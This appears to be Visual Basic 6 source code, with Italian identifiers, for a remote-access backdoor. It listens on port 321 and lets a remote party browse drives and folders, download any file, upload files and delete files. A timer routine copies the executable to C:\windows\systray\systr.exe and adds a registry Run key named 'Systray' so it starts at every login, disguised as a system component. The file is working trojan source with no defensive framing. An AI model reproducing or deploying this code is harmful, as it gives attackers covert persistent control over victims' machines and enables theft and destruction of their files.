Option Explicit
Dim k, d, f, x As Integer
Dim conteggio As Double
Dim Drive(0 To 100) As String
Dim file(0 To 300) As String
Dim dir(0 To 150) As String
Dim datiricevuti As String
Dim IpAdress As String
Dim wsstate As Integer '(0 normal,1 sincronizzazione,2 downloading,3 uploading)
Private Sub Combo1_Click()
On Error Resume Next
Drive1.Drive = Combo1.List(Combo1.ListIndex)
End Sub
Private Sub Dir1_Change()
File1.Path = Dir1.Path
Call Aggiorna
End Sub
Private Sub Drive1_Change()
On Error Resume Next
Dir1.Path = Drive1.Drive
End Sub
Private Sub Aggiorna()
List1.Clear
List2.Clear
For k = 0 To (Drive1.ListCount - 1)
Drive(k) = Drive1.List(k)
Combo1.List(k) = Drive(k)
Next k
List1.AddItem ("..")
For d = 0 To (Dir1.ListCount - 1)
dir(d) = Dir1.List(d)
List1.List(d + 1) = dir(d)
Next d
For f = 0 To (File1.ListCount - 1)
file(f) = File1.List(f)
List2.List(f) = file(f)
Next f
resend
End Sub
Private Sub connetti()
wsk.Close
wsk.LocalPort = 321
wsk.Listen
End Sub
Private Sub Form_Load()
connetti
End Sub
Private Sub List1_dblClick()
On Error GoTo Error
Dir1.Path = List1.List(List1.ListIndex)
Error:
End Sub
Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
If wsk.State <> sckClosed Then wsk.Close
wsk.Accept requestID
IpAdress = wsk.RemoteHostIP
Aggiorna
End Sub
Public Sub resend()
Do Until wsk.State = sckConnected
Loop
wsstate = 1
wsk.SendData "Sincr"
DoEvents
On Error Resume Next
For k = 0 To List2.ListCount - 1
wsk.SendData "file:" & List2.List(k)
DoEvents
Next k
For k = 0 To Combo1.ListCount - 1
wsk.SendData "drive:" & Combo1.List(k)
DoEvents
Next k
For k = 0 To List1.ListCount - 1
wsk.SendData "dir:" & List1.List(k)
DoEvents
Next k
wsk.SendData "path:" & Dir1.Path
DoEvents
wsk.SendData "End"
DoEvents
wsstate = 0
End Sub
Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim sentdata As String
wsk.GetData datiricevuti
Select Case wsstate
Case 0 '------------------------------------NORMALITA'-----------------------
If Mid(datiricevuti, 1, 7) = "upload:" Then
Open Dir1.Path & "\" & Mid(datiricevuti, 8) For Binary As #1
wsstate = 3
Exit Sub
ElseIf Mid(datiricevuti, 1, 9) = "download:" Then
Open File1.Path & "\" & Mid(datiricevuti, 10) For Binary As #1
wsk.SendData "down"
DoEvents
sentdata = Space(4000)
For conteggio = 0 To CLng(LOF(1) / 4000)
Get #1, conteggio * CLng(4000) + 1, sentdata
wsk.SendData sentdata
DoEvents
Next conteggio
wsk.SendData "Ter"
DoEvents
Close #1
ElseIf Mid(datiricevuti, 1, 6) = "drive:" Then
Combo1.ListIndex = Mid(datiricevuti, 7, Len(datiricevuti) - 6)
ElseIf Mid(datiricevuti, 1, 4) = "dir:" Then
List1.ListIndex = Mid(datiricevuti, 5, Len(datiricevuti) - 4)
List1_dblClick
ElseIf Mid(datiricevuti, 1, 5) = "kill:" Then
On Error Resume Next
Kill (Dir1.Path & "\" & (Mid(datiricevuti, 6, Len(datiricevuti) - 5)))
File1.Refresh
Call Aggiorna
End If
Case 3 '------------------------------------UPLOADING-----------------------
If datiricevuti = "upend" Then
Close #1
wsstate = 0
Exit Sub
End If
Put #1, , datiricevuti
End Select
End Sub
Private Sub Timer1_Timer()
If Not App.Path = "C:\windows\systray" Then
On Error Resume Next
Dim addsta
MkDir "C:\windows\systray\"
Set addsta = CreateObject("WScript.Shell")
addsta.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Systray", "C:\windows\systray\systr.exe", "REG_SZ"
Call FileCopy(App.Path & "\" & App.EXEName & ".exe", "C:\windows\systray\systr.exe")
On Error GoTo 0
End If
Select Case wsk.State
Case sckClosing
wsk.Close
wsk.LocalPort = 321
wsk.Listen
Case sckError
wsk.Close
wsk.LocalPort = 321
wsk.Listen
End Select
End Sub